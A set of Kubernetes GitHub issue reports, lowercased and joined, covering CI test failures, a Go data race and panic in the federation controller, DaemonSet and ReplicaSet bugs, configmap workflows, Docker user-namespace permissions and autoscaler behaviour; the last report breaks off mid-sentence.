https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/772\r \r failed:  k8s.io  daemon set  serial  should adopt or recreate existing pods when creating a rollingupdate daemonset with matching or mismatching templategeneration {kubernetes e2e suite}\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:391\r error waiting for daemon pod template generation to be 1\r expected error:\r     < errors.errorstring | 0xc420414ff0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:386\r    \r \r cc: @kubernetes/sig-apps-bugs @janetkuo

seen in https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/50258/pull-kubernetes-unit/45229/artifacts/junit_42602c56127c09f7378bbc50f2d72cb7f5b883c6_20170807-183126.stdout\r \r \r    \r === run   testupdateclusterrace\r e0807 18:35:35.756756   23178 cluster_client.go:145  failed to list nodes while getting zone names: couldn't get version/kind; json parse error: invalid character 'o' looking for beginning of value\r e0807 18:35:35.765719   23178 cluster_client.go:145  failed to list nodes while getting zone names: couldn't get version/kind; json parse error: invalid character 'o' looking for beginning of value\r ==================\r warning: data race\r write at 0x00c4202c1fb0 by goroutine 34:\r   runtime.mapdelete  \r       /usr/local/go/src/runtime/hashmap.go:598 +0x0\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/sets.string.delete  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/sets/string.go:58 +0x8f\r   k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .delfromclustersetbyname  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:109 +0x194\r   k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .delfromclusterset  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:101 +0xbc\r   k8s.io/kubernetes/federation/pkg/federation-controller/cluster.testupdateclusterrace  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller_test.go:193 +0x667\r   testing.trunner  \r       /usr/local/go/src/testing/testing.go:657 +0x107\r \r previous read at 0x00c4202c1fb0 by goroutine 37:\r   k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .updateclusterstatus  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:190 +0x2ba\r   k8s.io/kubernetes/federation/pkg/federation-controller/cluster.testupdateclusterrace.func2  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller_test.go:185 +0x38\r \r goroutine 34  running  created at:\r   testing.  t .run  \r       /usr/local/go/src/testing/testing.go:697 +0x543\r   testing.runtests.func1  \r       /usr/local/go/src/testing/testing.go:882 +0xaa\r   testing.trunner  \r       /usr/local/go/src/testing/testing.go:657 +0x107\r   testing.runtests  \r       /usr/local/go/src/testing/testing.go:888 +0x4e0\r   testing.  m .run  \r       /usr/local/go/src/testing/testing.go:822 +0x1c3\r   main.main  \r       k8s.io/kubernetes/federation/pkg/federation-controller/cluster/_test/_testmain.go:44 +0x20f\r \r goroutine 37  running  created at:\r   k8s.io/kubernetes/federation/pkg/federation-controller/cluster.testupdateclusterrace  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller_test.go:187 +0x5e4\r   testing.trunner  \r       /usr/local/go/src/testing/testing.go:657 +0x107\r ==================\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x30 pc=0x1c7760b \r \r goroutine 85  running :\r k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clusterclient .getclusterhealthstatus 0xc420365f00, 0xc42065f500 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/cluster_client.go:100 +0x24b\r k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .getclusterstatus 0xc4200ea770, 0xc42065f500, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:172 +0x9a\r k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .updateclusterstatus 0xc4200ea770, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:204 +0x427\r k8s.io/kubernetes/federation/pkg/federation-controller/cluster.testupdateclusterrace.func2 0xc4200ea770 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller_test.go:185 +0x39\r created by k8s.io/kubernetes/federation/pkg/federation-controller/cluster.testupdateclusterrace\r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller_test.go:187 +0x5e5\r fail\tk8s.io/kubernetes/federation/pkg/federation-controller/cluster\t1.205s\r === run   testingresscontroller\r e0807 18:35:42.628738   23320 event.go:260  could not construct reference to: '&v1beta1.ingress{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ test-ingress\ , generatename:\ \ , namespace:\ mynamespace\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string{\ ingress.federation.kubernetes.io/first-cluster\ :\ cluster1\ }, ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, spec:v1beta1.ingressspec{backend:  v1beta1.ingressbackend  nil , tls:  v1beta1.ingresstls nil , rules:  v1beta1.ingressrule nil }, status:v1beta1.ingressstatus{loadbalancer:v1.loadbalancerstatus{ingress:  v1.loadbalanceringress nil }}}' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'createincluster' 'creating ingress \ mynamespace/test-ingress\  in cluster cluster1'\r e0807 18:35:42.633482   23320 event.go:260  could not construct reference to: '&v1beta1.ingress{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ test-ingress\ , generatename:\ \ , namespace:\ mynamespace\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string{\ ingress.federation.kubernetes.io/first-cluster\ :\ cluster1\ }, ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, spec:v1beta1.ingressspec{backend:  v1beta1.ingressbackend  nil , tls:  v1beta1.ingresstls nil , rules:  v1beta1.ingressrule nil }, status:v1beta1.ingressstatus{loadbalancer:v1.loadbalancerstatus{ingress:  v1.loadbalanceringress nil }}}' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'createincluster' 'creating ingress \ mynamespace/test-ingress\  in cluster cluster1'\r e0807 18:35:43.840482   23320 event.go:260  could not construct reference to: '&v1beta1.ingress{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ test-ingress\ , generatename:\ \ , namespace:\ mynamespace\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{}, annotations:map string string{\ ingress.federation.kubernetes.io/first-cluster\ :\ cluster1\ , \ federation.alpha.kubernetes.io/cluster-selector\ :\  {\\\ key\\\ : \\\ cluster\\\ , \\\ operator\\\ : \\\ in\\\ , \\\ values\\\ :  \\\ cluster1\\\ ,\\\ cluster2\\\  } \ , \ a\ :\ b\ }, ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, spec:v1beta1.ingressspec{backend:  v1beta1.ingressbackend  nil , tls:  v1beta1.ingresstls nil , rules:  v1beta1.ingressrule nil }, status:v1beta1.ingressstatus{loadbalancer:v1.loadbalancerstatus{ingress:  v1.loadbalanceringress nil }}}' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'updateincluster' 'updating ingress \ mynamespace/test-ingress\  in cluster cluster1'\r e0807 18:35:43.844918   23320 event.go:260  could not construct reference to: '&v1beta1.ingress{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ test-ingress\ , generatename:\ \ , namespace:\ mynamespace\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{}, annotations:map string string{\ ingress.federation.kubernetes.io/first-cluster\ :\ cluster1\ , \ federation.alpha.kubernetes.io/cluster-selector\ :\  {\\\ key\\\ : \\\ cluster\\\ , \\\ operator\\\ : \\\ in\\\ , \\\ values\\\ :  \\\ cluster1\\\ ,\\\ cluster2\\\  } \ , \ a\ :\ b\ , \ kubernetes.io/ingress.global-static-ip-name\ :\ foo\ }, ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, spec:v1beta1.ingressspec{backend:  v1beta1.ingressbackend  nil , tls:  v1beta1.ingresstls nil , rules:  v1beta1.ingressrule nil }, status:v1beta1.ingressstatus{loadbalancer:v1.loadbalancerstatus{ingress:  v1.loadbalanceringress nil }}}' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'updateincluster' 'updating ingress \ mynamespace/test-ingress\  in cluster cluster1'\r e0807 18:35:43.846056   23320 event.go:260  could not construct reference to: '&v1beta1.ingress{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ test-ingress\ , generatename:\ \ , namespace:\ mynamespace\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string{\ ingress.federation.kubernetes.io/first-cluster\ :\ cluster1\ , \ a\ :\ b\ , \ federation.alpha.kubernetes.io/cluster-selector\ :\  {\\\ key\\\ : \\\ cluster\\\ , \\\ operator\\\ : \\\ in\\\ , \\\ values\\\ :  \\\ cluster1\\\ ,\\\ cluster2\\\  } \ , \ kubernetes.io/ingress.global-static-ip-name\ :\ foo\ }, ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, spec:v1beta1.ingressspec{backend:  v1beta1.ingressbackend  nil , tls:  v1beta1.ingresstls nil , rules:  v1beta1.ingressrule nil }, status:v1beta1.ingressstatus{loadbalancer:v1.loadbalancerstatus{ingress:  v1.loadbalanceringress nil }}}' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'createincluster' 'creating ingress \ mynamespace/test-ingress\  in cluster cluster2'\r

 \r hello, \r \r i had a problem, maybe easy but i couldn't handle this. how to remove all k8s containers and images from local machine?\r \r    \r gcr.io/google_containers/k8s-dns-sidecar-amd64         up 36 minutes       k8s_sidecar_kube-dns-6fc954457d-mwgvb_kube-system_fd5ebaed-c63c-11e7-b3c8-28d24484a79b_116\r gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64   up 36 minutes       k8s_dnsmasq_kube-dns-6fc954457d-mwgvb_kube-system_fd5ebaed-c63c-11e7-b3c8-28d24484a79b_116\r gcr.io/google_containers/k8s-dns-kube-dns-amd64        up 36 minutes       k8s_kubedns_kube-dns-6fc954457d-mwgvb_kube-system_fd5ebaed-c63c-11e7-b3c8-28d24484a79b_116\r gcr.io/google_containers/kubernetes-dashboard-amd64    up 36 minutes       k8s_kubernetes-dashboard_kubernetes-dashboard-xpg2v_kube-system_fd403866-c63c-11e7-b3c8-28d24484a79b_222\r gcr.io/google-containers/kube-addon-manager            up 36 minutes       k8s_kube-addon-manager_kube-addon-manager-lenovo-e540_kube-system_9831e93c3188555873fdb49f43198eef_186\r gcr.io/google_containers/pause-amd64:3.0               up 36 minutes       k8s_pod_kube-dns-6fc954457d-mwgvb_kube-system_fd5ebaed-c63c-11e7-b3c8-28d24484a79b_116\r gcr.io/google_containers/pause-amd64:3.0               up 36 minutes       k8s_pod_kube-addon-manager-lenovo-e540_kube-system_9831e93c3188555873fdb49f43198eef_186\r gcr.io/google_containers/pause-amd64:3.0               up 36 minutes       k8s_pod_kubernetes-dashboard-xpg2v_kube-system_fd403866-c63c-11e7-b3c8-28d24484a79b_186\r    \r it's unpossible to stop them  they restart always , also to remove them by  rm  and  rmi . i was looking for it in documentations, stack etc. but with no effect.\r \r best regards,\r marcin

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when i exec  kubectl get ds  it shoud wrong message:\r    shell\r $kubectl  get ds    \r name     desired   current   ready   up-to-date   available   node selector                       age\r csi-ds   0         0         0       0            0           xxx=000   77m\r    \r \r but in fact it has replicas.\r \r when describe this ds\r \r    shell\r kubectl describe ds csi-ds\r ...\r name:           csi-ds\r selector:       daemonset=pv-provisioner\r node-selector:  xxx=000\r labels:         k8s-app=hostpath-driver\r annotations:    ...\r desired number of nodes scheduled: 0\r current number of nodes scheduled: 0\r number of nodes scheduled with up-to-date pods: 0\r number of nodes scheduled with available pods: 0\r number of nodes misscheduled: 0\r pods status:  109 running / 0 waiting / 0 succeeded / 0 failed\r pod template:\r ...\r \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently we only consider cpu and memory resource  being requested  when calculating _priority_ score for each node in  leastrequested seems that pod number should be a factor to consider during scheduling since it has the upper bound set by kubelet.  is there any particular reason to avoid this? /cc @davidopp

i'm trying to integrate configmaps into our continuous delivery flow. it's important for us that the deploys are idempotent.  typically we'd create the configuration from files by doing  kubectl create configmap myconfig --from-file=file1.yml --from-file=file2.yml   however, if this is run more than once we get this since the command is a create  error from server: configmaps \ myconfig\  already exists   there are  apply  and  replace  commands for file or stdin resources but no  apply configmap . we could grab all the contents of each file and pipe that into a resource yml then pass that through to  apply  but it seems awkward.  what is the current accepted practice for updating a configmap that is file driven?  there is some overlap with this and https://github.com/kubernetes/kubernetes/issues/24744 plus https://github.com/kubernetes/kubernetes/issues/22368.

everything works fine when docker user namespace is turned off. when it's turned on by some variant of this flag  --userns-remap=default  in docker engine, pods can no longer be created. resulting in error messages similar to the following in the kubelet log:      e0921 15:25:17.846090   11065 docker_manager.go:746  logging security options: {key:seccomp value:unconfined msg:} e0921 15:25:17.897647   11065 docker_manager.go:2250  container start failed: runcontainererror: runcontainer: error response from daemon: {\ message\ :\ oci runtime error: rootfs_linux.go:53: mounting \\\ /dev/termination-log\\\  to rootfs \\\ /var/lib/docker/231072.231072/devicemapper/mnt/3ee36ab9de3f11e2784ad043b296e902fb5caba5df25cad16f625e3b2dc50d4c/rootfs\\\  caused \\\ stat /var/lib/kubelet/pods/e01cd144-8002-11e6-97d8-080027afee78/containers/healthz/2a804743: permission denied\\\ \ } e0921 15:25:17.897734   11065 pod_workers.go:184  error syncing pod e01cd144-8002-11e6-97d8-080027afee78, skipping:  failed to \ startcontainer\  for \ kubedns\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ oci runtime error: rootfs_linux.go:53: mounting \\\\\\\ /dev/termination-log\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/231072.231072/devicemapper/mnt/83960f08fefb174c035e0c363e93c151ce0b871f1cea9860b499f1f91614e400/rootfs\\\\\\\  caused \\\\\\\ stat /var/lib/kubelet/pods/e01cd144-8002-11e6-97d8-080027afee78/containers/kubedns/439a15de: permission denied\\\\\\\ \\\ }\  , failed to \ startcontainer\  for \ dnsmasq\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ oci runtime error: rootfs_linux.go:53: mounting \\\\\\\ /dev/termination-log\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/231072.231072/devicemapper/mnt/89058c22c99f4b1c4fb058997192d9cbc971af8310542afa3769352a8050e985/rootfs\\\\\\\  caused \\\\\\\ stat /var/lib/kubelet/pods/e01cd144-8002-11e6-97d8-080027afee78/containers/dnsmasq/bcf2a79d: permission denied\\\\\\\ \\\ }\  , failed to \ startcontainer\  for \ healthz\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ oci runtime error: rootfs_linux.go:53: mounting \\\\\\\ /dev/termination-log\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/231072.231072/devicemapper/mnt/3ee36ab9de3f11e2784ad043b296e902fb5caba5df25cad16f625e3b2dc50d4c/rootfs\\\\\\\  caused \\\\\\\ stat /var/lib/kubelet/pods/e01cd144-8002-11e6-97d8-080027afee78/containers/healthz/2a804743: permission denied\\\\\\\ \\\ }\         some investigation shows this is due to files in  /var/lib/kubelet/pods/...  being owned by  root  and having  0750  permission. when user namespace is turned on, the file used to bind mount into container's  /dev/termination-log  cannot be accessed by the remapped user, resulting in the permission denied error.   changing the permission of files/directories to  0755  allows the pods to be created successfully again, but  echo \ test\  > /dev/termination-log  within the container results in the permission denied problem again. also is  0755  too open?  i'm wondering if it's worth submitting a pr to fix the problem above so users with docker user namespace turned on could at least have basic things working, while we can engage the docker community to have a more permanent fix?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r finalizer\r orphan\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5+coreos.0\ , gitcommit:\ f70c2e5b2944cb5d622621a706bdec3d8a5a9c5e\ , gittreestate:\ clean\ , builddate:\ 2016-10-31t19:16:47z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : coreos tectonic on aws\r -   os    e.g. from /etc/os-release :  coreos stable  1185.3.0  \r -   kernel    e.g.  uname -a  :  linux ip-10-0-0-50.us-west-1.compute.internal 4.7.3-coreos-r2  1 smp tue nov 1 01:38:43 utc 2016 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux \r -   install tools  : coreos tectonic installer  self-hosted cluster \r -   others  :\r \r \r   what happened  :\r when deleting a replicaset, the orphan parameter is populated, but the pods are never removed, blocking the rs from being deleted.\r \r   what you expected to happen  :\r rs is deleted\r \r   how to reproduce it    as minimally and precisely as possible :\r create a rs and attempt to delete it from either the ui or kubectl.\r \r 1. create rs and spin up pods\r 2. delete the rs\r 3. delete will succeed, but the object will never disappear. the orphan parameter is applied to the object.\r 4. with  kubectl edit , removing the orphan parameter will result in successful deletion.\r \r   anything else do we need to know  :\r the tectonic console issues delete requests with  orphandependents=false . it seems like the orphan component is not running at all. i'm not sure where to best debug that or in which control loop it runs.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   \r no\r \r   what keywords did you search in kubernetes issues before filing this one?  :\r 1.5.2, performance\r \r ---\r \r   is this a bug report or feature request?  \r bug report \r \r   kubernetes version    use  kubectl version  : 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : jessie\r -   kernel    e.g.  uname -a  :  4.4.41-k8s\r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r 1.5.2 is nowhere near stable for us, we used to run 1.4.6 and it was rock solid stable but when we upgraded to 1.5.2 we are hitting some performance issues across several services running into our k8s cluster, just to picture it:\r \r ! image  https://cloud.githubusercontent.com/assets/285782/23067326/eb5f2d86-f505-11e6-9e4b-9c21a8dfa3ea.png \r \r ! image  https://cloud.githubusercontent.com/assets/285782/23067328/f1454302-f505-11e6-8011-b27f0377e0a1.png \r \r ! image  https://cloud.githubusercontent.com/assets/285782/23067336/fb445104-f505-11e6-8c85-db120f5832c4.png \r \r as you can see, something seems to have happened at around 02:00 that affected some unrelated services, we have a cluster with 35 nodes. \r this is the second time this happens, from nowhere some routes that returns more data than others starts to get in increasing performance degradation, the first time it happened, i shutted down all nodes and waited for them to recover  i'm using a autoscaling group  and the problem gone but after 3 days it happened again, the first time it happened it was also a degradation that came from nowhere:\r \r ! image  https://cloud.githubusercontent.com/assets/285782/23067412/588921dc-f506-11e6-91aa-8ba1d78c99e1.png  \r \r   what you expected to happen  :\r no more performance issues\r \r   how to reproduce it  :\r running a 1.5.2 cluster on aws for some days in production\r \r   anything else we need to know  :\r we are also hitting some issues in our staging cluster on aws, we need to reset docker services at some minion nodes from time to time because all pods get stuck in an unresponsive state and only restarting docker helps. our staging cluster has an intensive pod creation/destroy activity because of ci, we also run 1.5.2 on it.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2410/ failed:  k8s.io  pods should have their auto-restart back-off timer reset on image update  slow  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar  8 23:15:07.358: couldn't delete ns: \ e2e-tests-pods-t4fsw\ : namespace e2e-tests-pods-t4fsw was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-pods-t4fsw was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:270

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : matchexpressions\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.0\r \r \r   environment  :\r -   cloud provider or hardware configuration  : \r -   os    e.g. from /etc/os-release : windows 10\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  : minikube  v0.18.0\r \r \r   what happened  :\r created a deployment with the following selector spec:\r \r > ...\r > spec:\r >    replicas: 3\r >    selector:\r >      matchlabels:\r >          run: myapp\r >      matchexpressions:\r >       - {key: exclude, operator: notin, values:  true }\r > ...\r \r the 3 replica pods start up nicely. \r then added a label 'exclude=true' to one of the pods. \r a new pod automatically got created since the pod with the label doesn't match the selector used for the deployment/replicaset. \r \r the dashboard/webui now shows 4/3 under pods running for both the deployment and replicasets. \r \r   what you expected to happen  :\r everything described under   what happened   should happen, except that i expected 3/3 under the pods column in the dashboard/webui for the deployment/replicaset.\r \r so it seems like the selector of the deployment/replicaset still matches the pod with the added 'exclude=true' label, even though adding the label triggered the adding of a new pod\r \r   how to reproduce it    as minimally and precisely as possible :\r follow the process described under   what happened  \r \r   anything else we need to know  :\r if i alter the value of the 'run' label on the same pod, the dashboard/webui for deployments/replicaset does start showing 3/3 in the pods column\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm not sure if this is work as intended or we just haven't look into this; it's possible to create a resource quota with meaningless resource type, e.g.\r \r    \r apiversion: v1\r kind: resourcequota\r metadata:\r   name: resources\r spec:\r   hard:\r     requests.cpu: 2\r     requests.storage: 10gi\r     abc/abc: 2\r    \r \r i'm working on local storage request/limit, which is the first standard resource type with slash. if this is work as intended, then it's hard to catch errors.\r \r   what you expected to happen  :\r \r return error.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.116+ed724ee4aec1ca\ , gitcommit:\ ed724ee4aec1ca3c881ec7b9af53fbaa2a066d34\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t05:44:43z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }          \r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.432+defbe45397eb4c-dirty\ , gitcommit:\ defbe45397eb4cc98b487326ce9622535e323cfd\ , gittreestate:\ dirty\ , builddate:\ 2017-07-19t10:32:10z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }    \r    \r \r \r

it's currently not possible to tune the refresh period of volume plugins that are dynamically updated by the kubelet  secret, configmap, downward api, projected .  currently these volume types are updated once per kubelet sync interval, and it can add up to be quite expensive with large numbers of pods and volumes, and the only control surface we have to tune is the resync interval itself.  it would be very useful to have a way to tune the refresh interval for these volumes separately from the main kubelet resync interval\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r now that the local provisioner uses mount propagation, the provisioner e2e test should also test adding mount points after the provisioner has started

failing job\r      sig-release-master-upgrade gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r \r    failing test\r       sig-cluster-lifecycle  upgrade  feature:upgrade  master upgrade should maintain a functioning cluster  feature:masterupgrade   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1484 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20upgrade%5c%20%5c%5bfeature%3aupgrade%5c%5d%5c%20master%5c%20upgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%3amasterupgrade%5c%5d\r \r this test is currently failing in sig-release master-upgrade suite, this could potentially become release blocking if not addressed sooner. @timothysc  can you please triage this failure?\r \r  / /  /milestone 1.11\r @kubernetes/sig-cluster-lifecycle-bugs \r \r cc @jberkus @tpepper \r \r /assign @timothysc \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r cluster autoscaler will not scale up from zero nodes. however, it will scale up from one node.\r i have a node group whose template includes p2.xlarge gpu instances. with zero running instances in my gpu-nodes node group, i create a new job that requests 2 pods, each with 1 gpu. the pods are unschedulable, and ca logs show:\r    i0524 15:30:32.066956       1 factory.go:33  event v1.objectreference{kind:\ pod\ , namespace:\ engine\ , name:\ distributed-job-2xp8n\ , uid:\ 34fa9255-5f67-11e8-bede-068abf0075c0\ , apiversion:\ v1\ , resourceversion:\ 98300\ , fieldpath:\ \ } : type: 'normal' reason: 'nottriggerscaleup' pod didn't trigger scale-up  it wouldn't fit if a new node is added    \r the pods never get created, and no gpu instances get spun up.\r \r   what you expected to happen  :\r ca should scale up the cluster by adding two p2.xlarge instances to the gpu-nodes group.\r \r   how to reproduce it  as minimally and precisely as possible   :\r in a kops cluster on aws:\r 1. create a node group which includes p2.xlarge as the instance type.\r 2. create a job that requests 2 containers, each requesting a single nvidia.com/gpu.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , 